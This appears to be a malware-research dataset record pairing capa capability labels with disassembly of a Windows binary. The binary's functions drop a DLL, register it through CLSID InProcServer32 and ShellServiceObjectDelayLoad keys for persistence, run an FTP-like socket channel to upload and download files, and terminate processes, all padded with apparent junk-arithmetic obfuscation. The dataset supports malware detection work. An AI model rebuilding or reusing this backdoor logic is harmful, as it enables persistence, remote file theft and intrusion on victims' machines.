joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404b2b
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
mov eax, dword [ebp + 0x14]
mov word [ebp + 0x14], ax
mov ebx, 0x677c6410
mov eax, ebx
mul ebx
mov dword [ebp - 0x1c], eax
mov ebx, eax
push 0
push 0
push 4
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x10], eax
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 0
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0x10]
lea eax, [eax + edx + 0xff]
push eax
push 0
call sub.KERNEL32.DLL_LocalAlloc
mov esi, eax
and dword [ebp - 4], 0
mov eax, 0x7d63
mul ebx
mov dword [ebp - 0x20], eax
mov ebx, eax
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 8]
push esi
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_ReadFile
mov eax, ebx
sub eax, ebx
mov ebx, eax
and dword [ebp - 0xc], 0
jmp 0x404cca
mov eax, dword [ebp + 0xc]
mov ecx, eax
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x404bc3
mov edx, eax
mov word [ebp - 0x26], dx
mov eax, ebx
sub eax, ebx
mov ebx, eax
mov eax, 0x2fa3
mul ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov ebx, eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x24], 0
jmp 0x404c4c
mov eax, dword [ebp - 0x24]
cmp byte [esi + eax], 0xd
jne 0x404c49
mov eax, dword [ebp - 0x24]
mov byte [esi + eax], 0
mov eax, ebx
add eax, ebx
mov ebx, eax
movzx eax, word [ebp - 0x26]
push eax
push 0
mov eax, dword [ebp - 0x2c]
add eax, esi
push eax
push dword [ebp + 0xc]
call fcn.00402d4d
add esp, 0x10
or eax, eax
jne 0x404c36
mov eax, ebx
sub eax, ebx
mov ebx, eax
mov eax, dword [ebp - 0x24]
mov byte [esi + eax], 0xd
jmp 0x404ca0
mov eax, dword [ebp - 0x24]
mov byte [esi + eax], 0xd
add eax, 2
mov dword [ebp - 0x2c], eax
sub ebx, 0x353f
inc dword [ebp - 0x24]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
cmp dword [ebp - 0x24], eax
jb 0x404bf5
mov eax, ebx
mul ebx
mov dword [ebp - 0x38], eax
mov ebx, eax
movzx eax, word [ebp - 0x26]
push eax
push dword [ebp + 0xc]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
add eax, esi
push eax
call sub.CRTDLL.DLL_memcpy
add esp, 0xc
movzx eax, word [ebp - 0x26]
add dword [ebp - 4], eax
mov eax, ebx
add eax, ebx
mov ebx, eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov byte [esi + eax], 0xd
inc dword [ebp - 4]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov byte [esi + eax], 0xa
inc dword [ebp - 4]
mov eax, 0x1931
mul ebx
mov dword [ebp - 0x3c], eax
mov ebx, eax
xor edi, edi
jmp 0x404cc2
mov eax, dword [ebp + 0xc]
movzx edx, word [ebp - 0x26]
lea edx, [edi + edx + 1]
mov dl, byte [eax + edx]
mov byte [eax + edi], dl
inc edi
cmp edi, dword [ebp + 0x10]
jb 0x404cb0
inc dword [ebp - 0xc]
movzx eax, word [ebp + 0x14]
cmp dword [ebp - 0xc], eax
jb 0x404bbb
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
mov eax, dword [ebp - 8]
add eax, esi
push eax
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_WriteFile
push esi
call sub.KERNEL32.DLL_LocalFree
mov eax, ebx
xor eax, ebx
mov ebx, eax
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404d61
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov edi, 0x43a17b02
add edi, 0x4b1a
mov eax, edi
sub eax, edi
mov edi, eax
push 0
push pe_nt_image_headers32
push 4
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x404d9e
xor eax, eax
jmp 0x404dd9
push 2
push 0
push 0
push esi
call sub.KERNEL32.DLL_SetFilePointer
mov eax, 0x1df3
mul edi
mov dword [ebp - 8], eax
mov edi, eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call sub.KERNEL32.DLL_WriteFile
push esi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
inc eax
jmp 0x404dd9
pop edi
pop esi
leave
ret

Function at 0x404ddd
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, 0x60a267f
add edi, 0x2535
push 0
push pe_nt_image_headers32
push 3
push 0
push 3
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x404e2e
cmp dword [ebp + 0xc], 0
je 0x404e1e
mov eax, dword [ebp + 0xc]
and dword [eax], 0
mov eax, 0x3d8d
mul edi
mov dword [ebp - 0xc], eax
mov edi, eax
xor eax, eax
jmp 0x404e80
push 0
push esi
call sub.KERNEL32.DLL_GetFileSize
mov ebx, eax
xor edi, 0x29a7
mov eax, ebx
add eax, 0x10
push eax
push 0x40
call sub.KERNEL32.DLL_LocalAlloc
mov dword [ebp - 4], eax
push 0
cmp dword [ebp + 0xc], 0
je 0x404e5e
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
jmp 0x404e64
lea eax, [ebp - 8]
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push ebx
push dword [ebp - 4]
push esi
call sub.KERNEL32.DLL_ReadFile
xor edi, 0x1b2d
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404e85
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, 0x4a541e09
mov eax, edi
add eax, edi
mov edi, eax
push 0
push pe_nt_image_headers32
push 4
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
sub edi, 0x7fe8
cmp esi, 0xffffffff
jne 0x404ec2
xor eax, eax
jmp 0x404f19
push 2
push 0
push 0
push esi
call sub.KERNEL32.DLL_SetFilePointer
sub edi, 0x793d
mov eax, dword [ebp + 0xc]
mov ecx, eax
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x404edc
mov ebx, eax
push 0
lea edx, [ebp - 4]
push edx
push ebx
push dword [ebp + 0xc]
push esi
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x4302a4
push esi
call sub.KERNEL32.DLL_WriteFile
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, edi
add eax, edi
mov edi, eax
mov eax, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405224
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
mov esi, 0x72a6e08
mov eax, 0x1d08
mul esi
mov dword [ebp - 0x214], eax
mov esi, eax
lea ebx, str.79FAA099_1BAE_816E_D711_115290CEE717
mov eax, esi
xor eax, esi
mov esi, eax
call sub.CRTDLL.DLL_rand
mov edx, 0x10624dd3
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov eax, edx
pop ecx
mov edi, eax
add edi, 0x41
mov edx, edi
mov byte [ebp - 0x101], dl
mov byte [ebp - 1], 1
jmp 0x4052ab
call sub.CRTDLL.DLL_rand
movzx edi, byte [ebp - 1]
mov edx, 0x10624dd3
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov eax, edx
pop ecx
mov edx, eax
add edx, 0x61
mov byte [ebp + edi - 0x101], dl
add byte [ebp - 1], 1
mov al, byte [ebp - 1]
cmp al, 8
jbe 0x40527d
mov byte [ebp - 0xf9], 0
call sub.CRTDLL.DLL_rand
mov edx, eax
test dl, 1
jne 0x4052d3
mov byte [ebp - 0xfb], 0x33
mov byte [ebp - 0xfa], 0x32
mov eax, esi
mul esi
mov dword [ebp - 0x218], eax
mov esi, eax
lea eax, [ebp - 0x101]
push eax
push 0x42c2e0
push str._s_s.dll
lea eax, [ebp - 0x205]
push eax
call sub.CRTDLL.DLL_sprintf
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x205]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x20c], eax
mov eax, esi
sub eax, esi
mov esi, eax
push dword [ebp + 8]
mov eax, str.abcdefghijklmno
push eax
call sub.CRTDLL.DLL_sprintf
push 0
lea eax, [ebp - 0x210]
push eax
push 0x1c01
push 0x42dadf
push dword [ebp - 0x20c]
call sub.KERNEL32.DLL_WriteFile
mov eax, esi
xor eax, esi
mov esi, eax
push dword [ebp - 0x20c]
call sub.KERNEL32.DLL_CloseHandle
push ebx
push str.CLSID_sInProcServer32
lea eax, [ebp - 0x101]
push eax
call sub.CRTDLL.DLL_sprintf
lea eax, [ebp - 0x205]
push eax
push 0x430267
lea eax, [ebp - 0x101]
push eax
push 0x80000000
call fcn.004053cd
push str.Apartment
push str.ThreadingModel
lea eax, [ebp - 0x101]
push eax
push 0x80000000
call fcn.004053cd
xor esi, 0x1d30
push ebx
push str.Web_Event_Logger
push str.SoftwareMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoad
push 0x80000002
call fcn.004053cd
add esp, 0x54
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4053cd
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, dword [ebp + 0x14]
mov edi, 0x6bac07e0
mov eax, edi
sub eax, edi
mov edi, eax
xor edi, 0x1ef2
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegCreateKeyExA
mov ecx, esi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x405413
mov dword [ebp - 8], eax
mov eax, 0x3566
mul edi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov edi, eax
push dword [ebp - 8]
push esi
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40544c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push edi
mov edi, 0xd7b6cf9
mov eax, 0x3e91
mul edi
mov dword [ebp - 8], eax
mov edi, eax
cmp dword [0x42c808], 0
jne 0x4054b0
sub edi, 0x2c16
mov eax, dword [ebp + 8]
mov dword [0x42c2d0], eax
push 0x3840
push 0x40
call sub.KERNEL32.DLL_LocalAlloc
mov dword [0x42c808], eax
mov eax, edi
add eax, edi
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0
push 0x42c2d0
push 0x4056e7
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
pop edi
leave
ret

Function at 0x40584f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, 0x30b1265f
xor edi, 0x2d18
mov eax, dword [ebp + 8]
add eax, 5
push eax
lea eax, [ebp - 0x101]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
mov byte [ebp - 1], 0
jmp 0x4058a0
movzx eax, byte [ebp - 1]
cmp byte [ebp + eax - 0x101], 0x2c
jne 0x40589c
movzx eax, byte [ebp - 1]
mov byte [ebp + eax - 0x101], 0x2e
add byte [ebp - 1], 1
lea eax, [ebp - 0x101]
push eax
call sub.KERNEL32.DLL_lstrlenA
movzx esi, byte [ebp - 1]
cmp esi, eax
jl 0x405882
mov eax, edi
xor eax, edi
mov edi, eax
push 4
push 0x430168
lea eax, [ebp - 0x101]
push eax
call fcn.00402b4d
mov esi, eax
mov word [ebp - 0x104], si
push 5
push 0x430168
lea eax, [ebp - 0x101]
push eax
call fcn.00402b4d
mov esi, eax
mov word [ebp - 0x106], si
movzx eax, word [ebp - 0x104]
mov byte [ebp + eax - 0x101], 0
mov eax, edi
sub eax, edi
mov edi, eax
movzx eax, word [ebp - 0x106]
mov byte [ebp + eax - 0x101], 0
lea eax, [ebp - 0x101]
push eax
push dword [ebp + 0xc]
call sub.CRTDLL.DLL_sprintf
mov eax, edi
mul edi
mov dword [ebp - 0x10c], eax
mov edi, eax
lea eax, [ebp - 0x101]
movzx edx, word [ebp - 0x104]
lea eax, [eax + edx + 1]
push eax
call sub.CRTDLL.DLL_atoi
mov ebx, eax
mov byte [ebp - 0x107], bl
lea eax, [ebp - 0x101]
movzx edx, word [ebp - 0x106]
lea eax, [eax + edx + 1]
push eax
call sub.CRTDLL.DLL_atoi
add esp, 0x28
mov ebx, eax
mov byte [ebp - 0x108], bl
mov eax, edi
add eax, edi
mov edi, eax
movzx edi, byte [ebp - 0x108]
movzx esi, byte [ebp - 0x107]
movzx esi, si
shl esi, 8
or edi, esi
movzx eax, di
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405996
Capabilities:
Get file attributes
Get file size
Send data
Send data on socket
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, 0x2b25269f
mov eax, edi
mul edi
mov dword [ebp - 0x108], eax
mov edi, eax
xor edi, 0x3713
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x2f
jne 0x4059f3
push 1
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 0xc]
inc eax
push eax
call fcn.004055d3
add esp, 0xc
sub edi, 0x6d49
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov byte [ebp + eax - 0x105], 0
jmp 0x405a2c
push 1
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
call fcn.004055d3
add edi, 0x286
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
push 0x43026f
lea eax, [ebp - 0x104]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x1c
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov esi, eax
mov ebx, eax
and ebx, 1
cmp ebx, 1
jne 0x405a57
mov ebx, esi
shr ebx, 1
shl ebx, 1
push ebx
lea ebx, [ebp - 0x104]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
mov eax, edi
add eax, edi
mov edi, eax
cmp esi, 0xffffffff
jne 0x405ab5
push str.550_P_E_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.550_P_E_r_n
mov ebx, dword [ebp + 8]
push dword [ebx]
call sub.wsock32.dll_send
mov eax, 0x2de5
mul edi
mov dword [ebp - 0x10c], eax
mov edi, eax
jmp 0x405afe
push 0
push esi
call sub.KERNEL32.DLL_GetFileSize
push eax
push str.213__i_r_n
lea ebx, [ebp - 0x104]
push ebx
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
lea ebx, [ebp - 0x104]
push ebx
mov ebx, dword [ebp + 8]
push dword [ebx]
call sub.wsock32.dll_send
mov eax, edi
sub eax, edi
mov edi, eax
push esi
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405d34
Capabilities:
Download and write a file
Get file attributes
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
push edi
mov edi, 0x26bf2274
mov eax, 0x53ce
mul edi
mov dword [ebp - 0x110], eax
mov edi, eax
mul edi
mov dword [ebp - 0x114], eax
mov edi, eax
mul edi
mov dword [ebp - 0x118], eax
mov edi, eax
push 1
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
call fcn.004055d3
mov eax, 0x4213
mul edi
mov dword [ebp - 0x11c], eax
mov edi, eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
push 0x43026f
lea eax, [ebp - 0x10c]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x1c
lea eax, [ebp - 0x10c]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov esi, eax
mov edx, eax
and edx, 1
cmp edx, 1
jne 0x405dd5
mov edx, esi
shr edx, 1
shl edx, 1
push edx
lea edx, [ebp - 0x10c]
push edx
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 3
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x405e2b
push str.501_P_E_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.501_P_E_r_n
mov edx, dword [ebp + 8]
push dword [edx]
call sub.wsock32.dll_send
mov eax, 0x7085
mul edi
mov dword [ebp - 0x120], eax
mov edi, eax
jmp 0x405eda
push str.150_BINARY_p_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.150_BINARY_p_r_n
mov edx, dword [ebp + 8]
push dword [edx]
call sub.wsock32.dll_send
mov eax, edi
mul edi
mov dword [ebp - 0x120], eax
mov edi, eax
push 0x8000
push 0
call sub.KERNEL32.DLL_LocalAlloc
mov ebx, eax
push 0
push 0x8000
push ebx
mov eax, dword [ebp + 8]
push dword [eax + 4]
call sub.wsock32.dll_recv
mov esi, eax
xor edi, 0x7999
or esi, esi
je 0x405e85
cmp esi, 0xffffffff
jne 0x405e87
jmp 0x405e9f
push 0
lea eax, [ebp - 8]
push eax
push esi
push ebx
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
mov eax, edi
sub eax, edi
mov edi, eax
jmp 0x405e61
mov eax, dword [ebp + 8]
push dword [eax + 4]
call sub.wsock32.dll_closesocket
push str.226_P_ok_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.226_P_ok_r_n
mov esi, dword [ebp + 8]
push dword [esi]
call sub.wsock32.dll_send
push ebx
call sub.KERNEL32.DLL_LocalFree
add edi, 0xbb3
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405edf
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov edi, 0xedf5033
xor edi, 0x22ed
mov eax, edi
xor eax, edi
mov edi, eax
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x2f
jne 0x405f39
push 1
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp + 0xc]
inc eax
push eax
call fcn.004055d3
add esp, 0xc
add edi, 0x365e
lea eax, [ebp - 0x10c]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov byte [ebp + eax - 0x10d], 0
jmp 0x405f7a
push 1
lea eax, [ebp - 0x10c]
push eax
mov eax, ebx
add eax, 0x1c
push eax
call fcn.004055d3
mov eax, 0x361c
mul edi
mov dword [ebp - 0x114], eax
mov edi, eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
push 0x43026f
lea eax, [ebp - 0x10c]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x1c
push 0
push pe_nt_image_headers32
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x10c]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x405fc4
push str.501_P_E_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.501_P_E_r_n
push dword [ebx]
call sub.wsock32.dll_send
mov eax, edi
sub eax, edi
mov edi, eax
jmp 0x406056
push str.150_BINARY_p_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.150_BINARY_p_r_n
push dword [ebx]
call sub.wsock32.dll_send
push 0x8000
push 0
call sub.KERNEL32.DLL_LocalAlloc
mov esi, eax
push 0
lea eax, [ebp - 4]
push eax
push 0x8000
push esi
push dword [ebp - 8]
call sub.KERNEL32.DLL_ReadFile
mov eax, edi
add eax, edi
mov edi, eax
cmp dword [ebp - 4], 0
je 0x40601b
push 0
push dword [ebp - 4]
push esi
push dword [ebx + 4]
call sub.wsock32.dll_send
jmp 0x405feb
push dword [ebx + 4]
call sub.wsock32.dll_closesocket
xor edi, 0x5b5a
push str.226_P_ok_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.226_P_ok_r_n
push dword [ebx]
call sub.wsock32.dll_send
push esi
call sub.KERNEL32.DLL_LocalFree
push dword [ebp - 8]
call sub.KERNEL32.DLL_CloseHandle
add edi, 0x4028
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40633f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov edi, 0x1d051018
add edi, 0x5146
push 1
lea eax, [ebp - 0x106]
push eax
mov eax, esi
add eax, 0x1c
push eax
call fcn.004055d3
add esp, 0xc
cmp byte [ebx], 0x2e
jne 0x406419
cmp byte [ebx + 1], 0x2e
jne 0x406419
cmp byte [ebx + 2], 0
jne 0x406419
lea eax, [ebp - 0x106]
push eax
call sub.KERNEL32.DLL_lstrlenA
cmp eax, 3
jg 0x4063a8
xor eax, eax
jmp 0x4064be
mov eax, edi
add eax, edi
mov edi, eax
mov eax, esi
add eax, 0x1c
push eax
call sub.KERNEL32.DLL_lstrlenA
mov edx, eax
mov word [ebp - 2], dx
jmp 0x4063fe
movzx eax, word [ebp - 2]
cmp byte [eax + esi + 0x1c], 0x2f
jne 0x4063fa
movzx eax, word [ebp - 2]
mov byte [ebp + eax - 0x105], 0
mov eax, edi
add eax, edi
mov edi, eax
push 0
mov eax, esi
add eax, 0x1c
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.004055d3
add esp, 0xc
jmp 0x406489
dec word [ebp - 2]
movzx eax, word [ebp - 2]
or eax, eax
jg 0x4063c1
xor eax, eax
jmp 0x4064be
cmp byte [ebx], 0x2f
jne 0x406444
cmp byte [ebx + 1], 0
je 0x406489
mov eax, ebx
inc eax
push eax
push 0x430251
lea eax, [ebp - 0x106]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
xor edi, 0x7717
jmp 0x406489
cmp byte [ebx + 1], 0x3a
jne 0x406467
push ebx
push 0x430251
lea eax, [ebp - 0x106]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
mov eax, edi
sub eax, edi
mov edi, eax
jmp 0x406489
push ebx
lea eax, [ebp - 0x106]
push eax
push 0x4300b2
lea eax, [ebp - 0x106]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
xor edi, 0x7771
lea eax, [ebp - 0x106]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4064bc
push 0
mov eax, esi
add eax, 0x1c
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.004055d3
add esp, 0xc
sub edi, 0x6fa2
xor eax, eax
inc eax
jmp 0x4064be
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4064c3
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, 0x58344e99
mov eax, edi
sub eax, edi
mov edi, eax
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [esi + 4], eax
mov eax, edi
xor eax, edi
mov edi, eax
push 0x10
push 0
lea eax, [ebp - 0x10]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov word [ebp - 0x10], 2
movzx eax, word [esi + 8]
push eax
call sub.wsock32.dll_htons
mov ebx, eax
mov word [ebp - 0xe], bx
mov eax, 0x614a
mul edi
mov dword [ebp - 0x14], eax
mov edi, eax
mov eax, esi
add eax, 0xc
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [esi + 4]
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
je 0x40657f
cmp dword [ebp + 0xc], 0
jne 0x406553
push dword [ebp + 0x10]
push esi
call fcn.0040605b
add esp, 8
cmp dword [ebp + 0xc], 1
jne 0x406565
push dword [ebp + 0x10]
push esi
call fcn.00405edf
add esp, 8
add edi, 0x66fd
cmp dword [ebp + 0xc], 2
jne 0x406598
push dword [ebp + 0x10]
push esi
call fcn.00405d34
add esp, 8
jmp 0x406598
push str.501_P_E_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.501_P_E_r_n
push dword [esi]
call sub.wsock32.dll_send
push dword [esi + 4]
call sub.wsock32.dll_closesocket
add edi, 0x17b2
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406bcb
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x47c32066
add edi, 0x5b5c
push dword [ebp + 8]
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov esi, eax
mov eax, edi
add eax, edi
mov edi, eax
or esi, esi
jne 0x406bf8
xor eax, eax
jmp 0x406c12
push 1
push esi
call sub.KERNEL32.DLL_TerminateProcess
mov ebx, eax
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
jmp 0x406c12
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072c5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push edi
mov edi, 0x421d7bd4
mov eax, edi
add eax, edi
mov edi, eax
mov eax, 0x52ee
mul edi
mov dword [ebp - 8], eax
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
push 0x40718b
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
pop edi
leave
ret